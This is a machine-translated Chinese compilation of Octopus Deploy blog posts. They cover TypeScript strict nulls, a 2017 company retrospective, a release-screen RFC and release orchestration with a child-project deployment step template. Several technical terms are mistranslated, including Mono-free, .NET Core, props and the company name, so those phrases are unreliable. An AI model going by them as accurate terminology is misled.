一种解决方案是通过 props 传递数据，并且只在知道有可用数据时才呈现组件。这种模式变得如此普遍，以至于我们创建了一个组件，专门加载我们的数据，并通过 props 注入数据，巧合的是，这也遵循了我们的尽快缩小范围的规则。这最终看起来像下面这个简化的例子。如果您以前使用过 GraphQL Apollo 客户端，这可能看起来有些熟悉(如果您足够仔细地观察):
const Loader = DataLoader<PersonResource>();
export const ExamplePage = () => {
return (
<Loader
load={async () => {
return await getPerson("Person-1");
}}
renderWhenLoaded={data => {
return <PersonLayout initialData={data} />;
}}
renderAlternate={p => <div>Loading</div>}
/>
);
};
默认
您可能会发现，可以对某些类型使用默认的大小写，而不是将现有的类型修改为可选的、undefined或null。例如，您可以:
- 默认数字为
0。 - 默认字符串为
""。 - 默认数组为
[]。 - 默认布尔值为
false。 - 将所有可选属性默认为
{}的对象。 - 定义为
{ [key: string]: T }到{}的默认对象。
这并不总是可能的，尤其是在涉及数组或者代码特别寻找null或undefined的时候，所以首先检查一下是值得的。
可选参数，空或未定义
如果null和undefined被视为不同的类型，并且我们有办法指定可选的道具，那么我们如何决定我们是否应该使用像{ name: string | undefined }、{name: string | null }、{ name?: string }甚至{ name: string | null | undefined }这样的类型签名呢？这很可能归结为意图，以及你是否希望消费者被迫考虑他们提供的东西。出于这个原因，我们尽量避免可选道具，倾向于在类型中添加null。
根据我们的经验，可选道具被滥用时，会导致一些微妙的错误，并且很难发现不正确的用法。如果可能的话，通过默认一个可选参数来防止它被广泛传播通常也是一个好主意。
结论
在开始一个新项目时，从最严格的 TypeScript 编译器规则开始绝对是最好的选择。如果你没有考虑，请考虑。你未来的自己会感谢你。如果你没有那么幸运，并且你有一个很大的现有代码库，可能需要一些认真的、专注的努力才能实现。似乎没有一个选项是完美的，所以最好选择最适合您的特定场景的选项，然而，这种努力似乎是值得的。我们讲述了在转换 Octopus 中的某个特定区域使其严格符合 nulls 时学到的一些东西。该列表绝非详尽无遗，随着我们继续转换剩余区域的旅程，我们希望了解更多信息。我们很想听听你关于你用来处理严格空值的模式，以及是否有我们在这篇文章中没有提到的其他问题和经验。
下次再见，愉快的部署！
反思 2017 -八达通部署
2017 年 1 月，我概述了我们 2017 年的产品路线图。随着 2017 年的到来，我想花些时间反思一下我们这一年的进展。这篇文章不仅仅是关于路线图，我还想给你一些关于 Octopus 公司的见解，以及我们在过去的一年里是如何成长的，并分享我们所面临的一些挑战。
开始
我们每年都以“启动”活动开始，2017 年在我们位于布里斯班的办公室举行。当时我们有 23 个人(布里斯班 21 人，阿根廷的达尔米罗和墨尔本的马特·理查森)。我们利用启动活动，试图让今年的每个人都站在同一立场上。今年我们开始了一些新的尝试:
- 一年的路线图(以前，我们是边走边制定的)
- 今年的一些目标和 KPI
- 我们将公司分成团队，给每个团队一个产品领域
壮大团队
我们在年中做出的一个决定是从澳大利亚的其他城市招聘员工。Octopus 的大多数人在家工作，但我们在布里斯班有一个办公室，每周使用一两天。许多对话发生在办公室，我们担心远程人员会感到被冷落。我们进行了一项实验，将办公室锁了几个星期，实验进行得很顺利。
结果是，在整个 2017 年，我们能够雇用大量非常聪明和专业的人，其中许多人不在布里斯班。这是我们 2018 年启动活动的照片，大家都在一起。能和如此出色的一群人一起工作，我感到非常自豪。
如果你很好奇，以下是这些角色的划分。
正如你所看到的，Octopus 是一家非常注重工程的公司——39 人中只有两人不在产品开发、设计、运营或支持领域工作。那是一个深思熟虑的选择；我们相信，通过专注于打造一款优秀的产品并为其提供良好的支持，我们可以打造并销售一款世界级的产品。我们能否在 2018 年保持这种状态还不清楚。
每月功能发布
2017 年 4 月，我们推出了另一项变革——我们开始发布月度功能发布。以前，我们会在新特性和错误修复准备好的时候发布，没有真正的计划。从四月份开始，我们改变了计划发布的方式:
- 一个月一次的功能发布(主要/次要-例如，4.1)。其中包含新的功能和改进。我们在博客、时事通讯等等上制造一些噪音。
- 错误修复和微小改进(例如 4.1.1、4.1.2)。我们这个月会发布多个版本。
对于客户来说，这似乎通常非常有效。你知道每个月都会发布一个版本，并且可以围绕这个版本计划 Octopus 服务器的升级。您知道您可以忽略大多数 bug 修复版本，除非某个特定的 bug 影响到您，或者您使用的是主/次版本。对我们来说，它使得计划、记录和测试发布变得更加容易。
路线图进展
在 2017 年路线图中，我列出了我们计划要做的许多事情。正如你所料，我们对什么是重要的想法在一年中不断变化，不幸的是，我们没有完成清单上的所有事情。下面是我们所取得的一些进展。
用户之声
我说过我们会努力解决超过 200 票的所有用户意见建议。以下是我写这篇文章时的列表，以及我们是否实现了它。
总的来说，13 个中有 7 个完成了。那些没有完成的项目，通常要么不完全清楚，要么是我们认为在未来会被另一个更大的变化淘汰的东西。
章鱼行动
在 2017 年的路线图中，我说过我们将在 Octopus 中构建一流的运营功能。
Octopus 仪表板显示您的最后一次生产部署是否成功。如果它还向您显示您部署的内容是否仍在运行，那会怎么样？...不过，它不仅仅局限于监视状态:您还可以启动/停止这些服务。您昨天部署到 30 台机器上的 Windows 服务在其中 7 台机器上突然崩溃了吗？没问题，只需点击按钮，选择你想重启的 7，点击执行按钮。肯定胜过使用远程桌面！另外，会有很好的审计记录。
遗憾的是，2017 年我们在这方面没有取得任何进展。当我们为 2017 年划分团队时，这支团队落在中间，没有团队真正拥有它，也没有人支持它。
2018 年，我们将重点关注这一点，但这是另一篇文章的主题。
章鱼 Slack 应用
在 2017 年的路线图中，我们计划通过 Slack 为 Octopus 打造一流的“ChatOps”体验。机器人在 2017 年风靡一时，我们在内部使用一个机器人来部署 Octopus。不幸的是，它又没有主人，所以就被搁置了。
新的步骤生成器和更多的 IIS 选项
在 2017 年路线图中，我们计划对我们呈现部署步骤的方式进行一些更改:
对于配置 Windows 服务之类的东西的部署步骤，无论如何只有少数几个选项。但是有些步骤，比如配置 IIS 的步骤，可能有数百种不同的设置需要设置。目前，这意味着我们只公开最常见的设置，您必须编写 PowerShell 来完成其余的工作。
我认为我们基本上做到了这一点。我们在 4.0 中彻底检查了用户界面并压缩了设置——这允许我们为步骤提供更多的选项。我们在这一年中确实增加了 IIS 的选项数量，包括支持证书和许多其他设置，但您仍然需要 PowerShell 来进行更高级的设置。
降低学习曲线
我们在这方面取得了坚实的进展，部分是因为我们在今年早些时候添加了新的入职指南，然后是 4.0 版的 UI 改进。
现有客户可能不会直接从中受益，但它通过使这些组织中的新团队更容易开始工作，间接帮助了许多更大的客户。
单一自由 Linux (SSH)部署
我们在这里也取得了良好的进展。八月份，我们在 SSH 目标中增加了不需要 Mono 的选项。只要我们知道您运行的是什么平台，我们就将一个. NET 核心版本的 Calamari(我们的部署运行程序)推送到机器上，并在不依赖 Mono 的情况下运行部署。我们的目标是淘汰单一方法，支持。网芯模型。
不幸的是，除了计划之外，到目前为止我们还没有在这方面取得任何进展。
“炫耀”我们的 API
Swagger 是在 9 月份加入章鱼的。请转到
更紧密的 AWS 集成
我们在 2017 年很晚才开始这项工作，预计很快就会提供一些初步支持。看好这个空间！
PaaS 章鱼
这是一个大项目，我们发现自己推迟了这个项目，等待其他事情，并且基本上说服自己在 2017 年的大部分时间里不要开始。我说服自己，我们不能开始这个项目，直到这个项目完成，或者其他项目，或者一些大的架构变化，等等。本质上，我们不得不吃掉一头大象，但却迟迟不咬第一口。
几个月前，我们意识到我们在这个问题上的拖延让一些潜在客户转向了 VSTS(稍后会有更多相关内容)。我们没有过度考虑它，也没有在这个过程中重新设计 Octopus，而是专注于构建尽可能接近本地 Octopus 的东西，价格合理，并且我们可以可靠地托管。一旦交付，我们就可以找到以后对其进行云优化的方法。
非路线图进展
我们还在一些与路线图没有直接关系的领域取得了进展。
前端重构-角度反应
Octopus 4.0 是一次彻底的 UI 革新，因为我们将其从老化的 AngularJS (1.0) UI 转换为 React。我们在 4 月/5 月份和一个较小的团队一起认真地开始了它，直到 11 月初才发布——那时公司一半的开发人员都参与了它。
这是一个受霍夫斯塔德定律支配的项目:
霍夫施塔特定律:它总是比你预期的要长，即使你考虑到霍夫施塔特定律。
经营一家软件公司，我最喜欢的事情之一就是“说到做到”。作为一名顾问，我经常建议是时候重写这个或那个了。除了简单的“我们认为从长远来看，这将使产品变得更好”之外，很难指出一个特殊的“商业原因”来让我们在大约半年的时间里投入一半的开发时间，或者证明这个决定是正确的。
在 Octopus，我们过去已经这样做了几次:
- Octopus 1.0:从 SQL Server (EF)切换到 RavenDB。
- Octopus 2.0:重写了 UI(ASP.NET MVC 到 AngularJS 1.0)，重写了服务器/触手通信栈
- Octopus 3.0:从 RavenDB 回到 SQL Server，再次重写了通信栈
每一个都被证明是很好的投资，极大地改进了产品，即使 6 个月后你开始担心这是一个巨大的时间和金钱的浪费，并且有很高的机会成本。祈祷它会再次为我们工作！
Java 语言(一种计算机语言，尤用于创建网站)
在 2017 年初，我并没有计划让 Octopus 在 Java(或者非 Java)方面做太多。NET 支持)，但这种情况在大约 6 个月前发生了变化。2017 年，我们:
- 为 Atlassian Bamboo 构建了一个插件
- 向 Octopus 添加了许多 Java 部署步骤
- (4.1)增加了对 Java 部署的 Maven 提要和证书支持
稳定性
这不像其他主题那样令人兴奋，但我们在 2017 年初的大部分注意力都放在了稳定性上。我们修复了大量小错误和问题，并做了一些大的性能改进和安全增强。
业务进展
暂时离开产品，我想反思一下 Octopus Deploy 在 2017 年作为一项业务取得的进展，以及我们面临的一些挑战。如果你主要关注这个博客的技术/产品内容，这可能不是很有趣，但它可能会给你一些背景，帮助你理解我们迄今为止的决定。
八达通是私有的，盈利的，自从我在 2012 年开始运营以来，它已经有了显著的增长。我们已经从一个在业余时间开发的简单部署工具发展成为一个拥有 39 人的公司。我不认为说 Octopus 是最流行的部署自动化工具是误导。我们知道，今天大约有 20，000 家公司在线安装了 Octopus 服务器，这些 Octopus 服务器每年要向数十万个部署目标进行数百万次部署。
今年我们庆祝了许多成功。根据 BRW 快速 100 强排名(t 1)，八达通是过去三年中增长最快的第三大公司。在报纸上看到章鱼真是太棒了——我们把复印件寄给了亲戚，他们中的大多数人仍然不确定章鱼到底是什么。
我们今年的挑战分为两大类:内部和外部。
就内部挑战而言，这些主要与我们在成长过程中如何组织和规划有关。随着公司的发展，我们的雄心也在增长。今年我们有四个非常大的项目:
其中大多数是如此之大，以至于我们让他们自己相信他们是相互依赖的。在我们做出大的架构改变之前，我们不应该启动云托管的 Octopus。在我们完成 UI 重构之前，我们不应该开始远程发布促销。架构的改变也应该等待 UI 重构。
我学到的一点是，当我们专注于较小的项目，以敏捷、迭代的方式一点一点地改进产品时，我们在 Octopus 处于最佳状态。这就是我们如何做入职工作，这就是我们如何添加 Java 支持。当涉及到像这样的大项目时，我们往往会随波逐流，迷失方向，结果浪费了很多时间。在前几年，我们甚至可能没有尝试过这样的项目；在 2017 年，我们相信我们可以做到，但似乎我们还没有完全做到。
我们在 2017 年面临的最大外部挑战来自微软和 VSTS 发布管理产品。虽然我认为 Octopus 在复杂部署方面仍然远远领先于 RM，但 RM 在更简单的 Azure 密集型部署方面显然正在赶上我们。就产品创新而言，我们已经享受到了竞争，VSTS 已经提供了一个可靠的云产品，但我们在这方面的发展太慢了。
今年更困难的是，微软已经开始利用其生态系统的其他部分来支持 RM。RM 现在基本上是免费的，他们在 Visual Studio 中捆绑了一个右键单击的“配置连续交付”选项。在这样一个以微软为中心的生态系统中，内置于 TFS、免费和内部推广的组合让 Octopus 处于明显的劣势。一个 800 磅的人。大猩猩坐？俗话说，“随心所欲”。
我们将在 2018 年继续与微软竞争，我们将共同推动整个行业向前发展，但如果你看到我们像在一样关注 Java/AWS，请不要感到惊讶。NET/Azure。
包裹
2017 年，章鱼大幅增长。我们改进并成熟了我们内部的工作方式，并且沿着我们的路线图取得了相当不错的进展。我们花了很多时间来重写 UI，这在下半年减慢了我们的速度，我们看到来自微软的竞争加剧，这对底线产生了真正的影响。
如果你对 Octopus 更多幕后的东西感兴趣，尤其是技术内容，请订阅我们的 YouTube 频道。每周我们都会发布内部全体会议的视频，展示我们一直在做的工作。
在我的下一篇文章中，我将分享我们的 2018 年路线图。愉快的部署！
RFC:改进创建发布屏幕- Octopus Deploy
在 Octopus 中，一次发布可以包含许多包。例如，您的披萨订购网站的版本 1.3 可能包含以下软件包:
- 披萨店。在线订购，版本 1.4.1
- 披萨店。CMS，版本 1.3.2
- 披萨店。数据库，版本 1.1.71
对于许多客户来说，一个版本包含一个包。对于其他人来说，一个版本包含 20 多个包。
Octopus 中有一个页面我们在 Octopus 中遇到了问题，那就是发布创建界面，在这里选择一个发布的包版本。目前看起来是这样的:
随着时间的推移，我们改进了这个页面上的 UX，这样，对于大多数人来说，他们只需向下滚动并单击“创建”-我们选择每个包的最新版本，并以最高的包版本命名发布号。大多数人从来不改变这个页面上的任何东西。
该页面存在一些问题:
- 如果 NuGet feed 很慢或者有太多的包，那么用所有的包版本填充下拉列表会花费很长时间( bug 报告)
- 如果你已经知道要选择的版本号，你必须为每个包滚动一个长长的列表
为了尝试解决这些问题，同时保持当前设计的优点，我们正在考虑以下方法:
我们不会加载每个包的所有版本，而是异步获取最新的版本，这意味着 NuGet 查询会更快。我们还允许输入版本号，而不是从下拉列表中选择。如果您不确定要键入什么，单击 search 按钮将进行另一个查询，以获取软件包版本供您选择(我们甚至可以尝试在此显示中包含发行说明)。
和当前的设计一样，我们将默认使用最新的版本，这样在大多数情况下你就不需要点击任何东西。如果您确实需要选择特定的版本，希望这种方法会使它变得更容易，如果您知道的话，您只需键入/粘贴号码，如果不知道的话，您可以搜索它。
动态基础设施发布管理- Octopus Deploy
原文：https://octopus.com/blog/release-management-with-dynamic-infrastructure
在这篇文章中，我将讨论动态基础设施的发布管理，并演示如何使用 Deploy 子 Octopus Deploy Project 步骤模板。
这是关于发布管理系列的第三篇文章。之前的帖子有:
发布管理和动态基础设施
在阅读了我的第一篇文章后，一位客户问我如何使用我的步骤来重新部署一套应用程序组件，而不是从一个环境向另一个环境进行 T2 升级。在编写步骤模板时，我没有考虑到这一点，但我应该考虑到了。
客户定期重建他们的测试服务器，经过一番讨论后，我们确定了这些需求:
- 重新部署在目标环境中找到的最后一个成功版本。
- 重建的服务器不应该托管所有组件，只运行适用的子项目。
- 同一个项目应该同时进行重新部署和升级。
- 刚开始手动输入目标名称还行；稍后，部署目标触发器应该会自动重新部署。
子项目目标筛选器
并非所有应用程序都托管在一个部署目标上。考虑这个用于暂存的示例:
- 数据库:没有目标，只有工人
- 调度服务 :
s-app-service-01 - Web API :
s-web-api-01和s-web-api-02 - 网页界面 :
s-web-ui-01和s-web-ui-02
为了重新构建s-web-api-01和s-app-service-01，我只想重新部署调度服务和 Web API 项目。但是只针对相关的项目/服务器组合。我不想部署调度服务到s-web-api-01或者 Web API 到s-app-service-01。
使用部署子 Octopus 部署项目步骤模板的一个目的是能够正常工作。在推广/部署应用程序套件时，我希望尽可能消除心理压力。
这个目标适用于这种情况。当父/发布编排项目被给予一组特定的要部署的机器时，它会将该列表与子项目可以部署到的机器进行比较。使用相同的场景:
- 数据库:无目标；项目被跳过。
- 调度服务:仅部署到
s-app-service-01。在重新部署子项目之前，它将从目标列表中删除s-web-api-01。 - Web API :仅部署到
s-web-api-01和s-web-api-02。它会将s-app-service-01从目标列表中移除，只在重新部署时部署到s-web-api-01。 - Web UI :两个重建的服务器与此项目部署到的任何服务器都不匹配。将跳过 Web UI 项目。
该功能支持多租户。在为多租户子项目筛选部署目标时，它会为该租户筛选出所有不相关的目标。
部署模式
步骤模板已更新，支持两种部署模式:
- Promote :默认行为将最新的成功发布从源环境提升到目标环境。
- 重新部署:获取在目标环境中找到的最新成功发布，并重新部署它。
虽然我不想再增加一个参数，但是我找不到其他的解决方法。边缘案例太多了。让你选择模式更有意义。
该功能也是多租户感知的；如果您正在重新部署一个多租户项目，它会在目标环境中找到该租户的最新成功版本。
我建议将其设置为一个提示变量，默认设置为提升。这允许您动态地更改父/发布编排项目的行为。
例子
对于这篇文章，我将转换我在这个系列的第一篇文章中创建的项目。项目完成后，将:
- 在开发、测试、试运行和生产中重新部署最新版本。
- 重新部署到特定目标或所有目标。
- 配置一个部署目标触发器来处理自动伸缩。
- 允许发布到暂存和生产以进行重新部署或升级。
当我们完成第一篇文章时，我们有一个发布协调项目，部署到筹备、产品批准和生产。
部署流程将:
- 确定要推广的版本，并收集每个子项目的所有发行说明。
- 批准要升级的版本(仅限于产品批准环境)。
- 将子项目发布从测试提升到试运行，或者从试运行提升到生产。
部署子 Octopus 部署项目步骤模板设置了以下参数:
每个步骤之间的唯一区别是:
- 在所有获取【子项目名称】释放步骤中，
What if参数被设置为Yes。 - 每个步骤的子项目名称都不同。
如您所见，这个过程大量使用了变量。这些变量定义是:
场景#1:手动重新部署
一个发布通常会从测试升级到试运行，或者从试运行升级到生产。不过在某些场景中，重新部署准备或生产中的内容也是有意义的。
例如:
- 在暂存环境刷新期间，当数据从生产复制并清理到暂存时。完成后，进行重新部署以确保最新的数据库和代码更改在暂存中。
- 在生产中添加了一台新的服务器来处理流量的增加。
- 一个服务器没有像预期的那样响应，需要被淘汰。
变量
我将更新我的变量，以便流程:
- 仅允许在产品批准中促销。
- 允许通过暂存和生产中的提示变量进行重新部署和升级。
- 允许用户通过准备和生产的提示变量选择他们想要重新部署的机器。产品批准不允许该功能。
- 创建一个变量，用作获取[组件]释放步骤的运行条件。当处于提升模式时，它将返回
True(该步骤将运行)。在重新部署模式下，它将返回False(该步骤将被跳过)。
特定的机器变量被设置为N/A，因为这是步骤模板的默认值。步骤模板会看到这一点，并忽略特定的机器功能。值N/A应该使提示变量更容易。
部署流程
在所有的 Get [component]发布步骤中，我更新了部署模式、特定的机器和运行条件，以使用新创建的变量。
对于部署步骤，仅更新部署模式和特定机器参数。
创建发布
创建发布到准备、生产审批和生产与之前相同。
大多数情况下，用户会保持提示变量不变，然后进行推广。
它将一如既往地继续发挥作用。
触发重新部署
您也可以选择通过将提示变量更改为 redeploy 来进行重新部署。
这触发了在试生产或生产中发布的重新部署。
如果该版本已经部署到特定的环境中，您可以单击右上角菜单中的溢出菜单(三个垂直省略号点),并选择重新部署...。
重新部署到特定计算机
您也可以选择重新部署到特定的计算机。
当部署运行时，步骤模板将跳过与所选机器不关联的任何项目。
场景#2:向外扩展时自动重新部署
第一个场景包括手动选择部署目标。您还可以利用部署目标触发器来利用这一功能。
创建新的部署目标时，您可以自动部署与该目标关联的所有内容。要做到这一点，我们需要对变量和部署过程做一个小的修改。
可变变化
在我的场景中，我希望支持手动和自动重新部署。支持这两种模式仍然需要一个提示变量，但是默认值将更改为:
#{unless Octopus.Deployment.Trigger.Name}Promote#{else}Redeploy#{/unless}
这表明当除部署目标触发器之外的任何东西触发部署时，则运行促销。如果触发部署的是部署目标触发器，则运行重新部署。提示变量最终看起来像这样:
创建触发器
为所有不同的组件项目、App-Service、App-WebApi和App-WebUI的角色创建一个触发器。可以在每个组件项目中添加一个触发器，但是这是额外的开销和维护。对于发布协调项目，最好有一个触发器。
部署流程修改
触发器和现有的部署过程有一个问题，我将对此进行解释。我还演示了如何避免这个问题。
首先，我为 Staging 中的一个角色添加了一个新目标。
触发器永远不会触发，因为发布编排项目没有任何专门针对这些角色的步骤。您可以在部署屏幕上看到它。没有目标。
解决方案是添加一个针对所有这些角色的简单脚本步骤。
测试触发器
现在，当我们准备好部署一个版本时，我们可以看到脚本将在其上运行的所有部署目标。
当我将新机器添加到暂存时，触发器将被触发。它将跳过新机器不会部署到的项目，就像我们手动选择部署目标时一样。
它也只会将特定机器发送到组件项目。
场景#3:使用构建服务器进行重新部署
最后一个场景是当外部工具(比如构建服务器)触发所有组件项目的部署时。
在这个例子中，构建服务器自动触发部署到开发和测试。虽然这适用于代码更改，但当新服务器上线时，它有一些限制:
- 对于每个组件一个 Octopus 项目，构建服务器一次只更新一个组件。您需要一种一次性部署所有项目的方法。
- 当前没有工作的项目永远不会触发部署。当新服务器上线时，需要一种机制来重新部署一切。
我们不想改变构建服务器集成。取而代之的是，我们更新了现有的流程，只允许为开发和测试重新部署发布。
创建新的生命周期
项目的当前生命周期仅允许部署到准备、生产审批和生产。在这种情况下，我希望保留那个生命周期并创建一个新的生命周期。
发布协调项目将在大部分时间用于从测试到试运行和试运行到生产的推广。重新部署到开发和测试是例外，而不是常态。
您可能会发现将开发和测试添加到您的生命周期并将其标记为可选更容易。
现在创建新的生命周期，并将其配置为部署到开发和测试:
创建生命周期后，我们可以向项目添加一个通道:
最后，将离散通道发布项目设置更新为独立于其他通道处理。
更新变量
我将变量更新为:
- 仅允许在开发和测试中重新部署。
- 允许用户通过开发和测试的提示变量选择他们想要重新部署到的机器，就像他们在准备和生产中一样。产品批准保持不变，不允许该功能。
特定机器变量被设置为 N/A ，因为它是步骤模板的默认值。步骤模板会看到这一点，并忽略特定的机器功能。它被设置为一个值，以便于提示变量。
仅发布用于重新部署
对于开发和测试环境，我创建了一个只重新部署的版本。步骤模板忽略版本过滤器，并重新部署最新版本。这意味着我可以输入任何我想要的版本号。
部署仅重新部署版本
当我在提示变量中指定一个机器名时，按照下面的截图，step 模板将其转换成适当的 Octopus ID，然后确保子项目可以部署到任何指定的机器上。
如果是这样，将会触发部署，但只是针对该计算机。如果没有，将跳过部署。
如果我没有指定一台机器，那么重新部署将部署到该环境中子项目的所有机器上。
结论
当我开始编写步骤模板Deploy Child Octopus Deploy Project时，我的目标是帮助从一个环境升级到另一个环境。在收到反馈后，我意识到支持一套应用程序组件的重新部署也是有用的。
我希望通过对您的部署过程进行一些修改，您可以利用这种重新部署功能。
愉快的部署！
通过 Octopus Deploy 实现更好的发布管理
客户经常问我们，他们是应该为每个应用程序准备一个 Octopus 部署项目，还是为每个组件(如 WebUI、API、数据库等)准备一个 Octopus 部署项目。).对于一些项目来说，部署一两个部分是有意义的，也许是为了修复一个小的 bug，而不是一次部署所有的东西。
让 Octopus 为每个组件部署项目解决了许多问题；代价是，部署整个应用程序堆栈更加复杂。
在这篇文章中，我将介绍如何使用一个新的步骤模板 Deploy 子 Octopus Deploy 项目来简化 Octopus Deploy 中的发布管理。
为什么每个组件一个项目
每个组件使用一个项目的常见原因是:
- 通过仅部署已更改的内容，最大限度地减少停机时间。
- 通过只构建已更改的内容来最小化构建时间。
- 尽量减少一个人必须做出的决定。
- 单一责任原则，每个项目尽其所能部署一件事。
简而言之，每个组件一个项目减少了部署软件的时间。然而，缺点是更难协调发布。
示例应用程序
对于本文，我使用一个包含四个组件的示例应用程序:
- 数据库ˌ资料库
- 调度服务
- Web API
- Web 用户界面
您可以在我们的 samples 实例上找到它(作为来宾登录)。
每个项目的设计都允许它独立于其他项目进行部署；以至于每个项目都有自己的人工干预。
本例对组件Year.Minor.Patch.Build或2021.1.0.1使用了 SemVer 的修改版本。编排项目将更接近标准永远、Year.Minor.Patch或2021.1.0。
我不会花太多时间讨论源代码控制库和构建配置。这个例子应该足够灵活，可以考虑各种配置，无论是单个 git 回购/单个构建，每个组件一个 git 回购/构建，还是每个组件一个 git 回购/构建。每种方法都有优点和缺点，但是讨论它们超出了本文的范围。
对于这个例子，我们假设构建服务器将:
- 构建每个组件。
- 为该组件的项目创建一个版本。
- 自动将其部署到开发环境中。
当部署完成时，它将运行一批集成测试。如果测试通过，它将推动发布到测试。
2021 年的第一批工作将是这样的:
路障
通常，在 QA 流程中，变更会在测试环境中停留 1 到 N 天。bug 被发现并解决，每个组件可能会有不同的内部版本号。
在 QA 完成对2021.1.0.x发布的组件项目的测试后，可以开始升级到阶段。
对于当前的配置，这意味着一个接一个地提升每个项目的每个版本。我已经做了上百次这样的推广，虽然还可以忍受，但是很乏味。
当这种模式开始遇到问题时，将所有组件项目提升到生产阶段。其中包括:
- 如果一个组件有多个补丁被推送到测试，那么它可能需要至少一个补丁被推送到测试。通常要批准的组件项目的发布号直到批准的那天才知道。
- 所有的项目都需要质量保证部的批准。
- 多个项目需要得到网站管理员和企业所有者的批准。
- 通常，应用程序需要按照特定的顺序进行部署。首先部署数据库，然后是 API，然后是调度服务，最后是 UI。部署期间的任何问题都应该停止一切。
- 如何以及何时批准变更因公司而异。对于周四晚上的部署来说，周二发布的批准并不少见。
为了解决这些问题，我们需要一个父项目来协调所有这些子项目。与子项目不同，父项目只需要部署到暂存和生产。
介绍部署子 Octopus 部署项目步骤模板
父项目需要一种方法来调用子项目的部署。这由新的部署子 Octopus 部署项目步骤模板处理。
在这个例子中，父项目被称为“Release Orchestration ”,并多次使用该步骤模板。
您可以为父项目选择任何您喜欢的名称，例如，“交通警察”，应用程序的名称，甚至 Voltron。
在提供步骤模板的使用示例之前，我想演示一下步骤模板是如何工作的。
如何选择版本
父项目部署子项目还有另外两种选择:
这两个步骤通过使用最近为通道创建的版本来选择要部署的版本。部署子 Octopus 部署项目步骤模板选择了不同的发布方式。
您提供:
- 频道名称。如果没有提供通道，则选择默认通道。
- 版本号模式(
2021.1.0.*)或特定版本号(2021.1.0.15)。如果没有提供版本号，它将使用所能找到的该通道的最新版本。 - 目的地环境。
有了这三段数据，步骤模板将:
- 基于信道和目的地环境计算先前的环境。例如，如果您输入 Staging 作为目标环境，它将选择 Test ，因为它是渠道生命周期中 Staging 的优先环境。
- 查找所有与该渠道提供的模式相匹配的版本。
- 查找上次成功部署到先前环境的版本；不是部署到先前环境的最近创建的版本，而是最后一个成功部署的版本。例如，如果您将
2021.1.0.15部署到测试，然后意识到不应该推送发布，并将2021.1.0.14重新部署到测试，那么当它升级到登台时，步骤模板将选择2021.1.0.14，因为那是部署到测试的最后一个发布。
如果没有找到发布，它将退出该步骤，并进入部署流程的下一步。
例如，在将2021.1.0升级到生产后不久，报告了一个错误，需要修复 Web API 和 Web UI 项目。您为子项目创建带有2021.1.1.*模式的2021.1.1版本。数据库和调度服务项目没有匹配的版本，因为它们没有更新，所以被跳过。
这个步骤模板的基本设计规则之一是定制。例如，您可以将该步骤配置为在没有找到发布时抛出错误，而不是退出该步骤并继续。
步骤模板还检查所选版本是否已经部署到目标环境，如果已经部署，则跳过部署。但是，您可以将其配置为始终重新部署。
更轻松的审批
当涉及到父/子项目关系时，批准似乎是最有问题的。
在 Octopus Deploy 中，手动干预步骤负责批准。您应该注意到，在这个步骤中，部署必须开始才能获得批准。但通常情况下，批准过程发生在发布前几个小时或几天。
此外，子项目有自己的批准来处理只部署一个子项目的用例。一般来说，批准者喜欢一次批准一个发布，而不是针对每个子项目。当他们批准一个版本时，将所有相关的发布信息放在一个地方进行批准是非常有用的。
步骤模板通过提供假设标志来帮助批准过程，假设标志在开始部署之前退出步骤。当使用该标志时，步骤模板将填充手动干预步骤指令的输出变量ReleaseToPromote。
step 模板还将收集每个子项目的发布说明，并填充输出变量ReleaseNotes。如果您使用的是 Octopus 中的构建信息和发布跟踪特性，step 模板将收集发布的提交和发布信息，其中包括汇总的发布说明。您可以将发行说明保存为工件，以便于批准者和后来的审计者在一个地方审查部署。
工作原理:
- 步骤模板将获取父项目发布的所有部署。然后，它将根据所需的环境过滤该列表。默认情况下，它将使用当前部署的环境，但是您可以提供不同的环境，例如， Staging 或 Prod Approval 来获取批准信息。
- 步骤模板从选定的部署中提取所有批准者。
- 步骤模板存储批准者及其团队成员。
- 当步骤模板等待部署完成时，它将寻找手动干预。
- 当在子项目的部署过程中发生手动干预时，它将查看哪个(哪些)团队有批准它的权限。
- 它会将手动干预团队列表与其之前为用户创建的列表进行比较。如果找到匹配，步骤模板将提交批准。
这个步骤模板使用 Octopus Deploy API，并且需要一个 API 密钥。这个特定的功能基于附加到 API 密钥的用户提交批准。
当此步骤模板批准子项目的手动干预时，您将看到类似以下内容的消息:
发布计划
在实际部署前几小时或几天获得生产部署的批准是很常见的。审批流程的一部分是安排停机时间。根据您的应用程序，子项目的部署顺序可能是不必要的，只要它们在几分钟内部署完毕。
步骤模板支持这种用例，允许您将未来的时间和/或日期作为参数发送。它使用。NET 的日期时间。TryParse 解析日期。支持的格式包括:
7:00 PM将于今天晚上 7 点部署21:00将于今天 21:00 或晚上 9 点部署YYYY-MM-DD HH:mm:ss或2021-01-14 21:00:00将于 2021 年 1 月 14 日晚 9 点部署YYYY/MM/DD HH:mm:ss或2021/03/20 22:00:00将于 2021 年 3 月 20 日晚上 10 点部署MM/DD/YYYY HH:mm:ss或06/25/2021 19:00:00将于 2021 年 6 月 25 日晚 7 点部署DD MMM YYYY HH:mm:ss或01 Jan 2021 18:00:00将于 2021 年 1 月 1 日下午 6 点部署
您可以利用提示变量让用户在部署到生产时发送一个日期/时间。
在其他情况下，您可以批准一个版本，然后安排它在以后进行部署。请参阅本文后面的场景:今天批准明天部署一节，了解如何利用产品批准环境。
因素
在设计这个步骤模板时，我试图让用户容易地调整它来匹配他们的用例。一些用户会发现自动批准功能很有用，并立即实施，而其他用户的业务规则不允许该功能。这是可以理解的。
我已经尝试添加尽可能多的参数来调整步骤模板，以匹配您的用例。可以想象，这个步骤模板中有很多参数:
- Octopus API Key :使用自动批准功能时，有权部署和批准人工干预的用户的 API Key。
- Octopus 子空间:子项目所在空间的名称。默认为当前空间。除非有令人信服的理由，否则不要更改这一点。
- 子项目名称:子项目的名称。
- 子项目通道:特定通道的名称。如果留空，它将选择子项目的默认通道。
- 子项目发布号:要部署的发布号。默认值为空；它将在源环境中获取最新版本。您可以提供一个特定的数字，例如
2021.1.0.14或一个模式，例如2021.1.1.*。.*很重要。如果没有提供周期.，你可能会以从2021.1.10.x或2021.1.15.x发布结束。 - 未找到子项目发布错误句柄:如果子项目没有匹配的发布号，该步骤应该做什么。默认情况下，它会跳过这一步并记录一个警告。您可以将其更改为停止出现错误的部署，或者不记录警告。我建议把它作为一个警告。
- 目标环境名:部署到的环境名，默认设置为当前环境名。我建议让它保持原样，除非你在试运行和生产之间实现一个“仅批准”的环境(稍后会有更多介绍)。
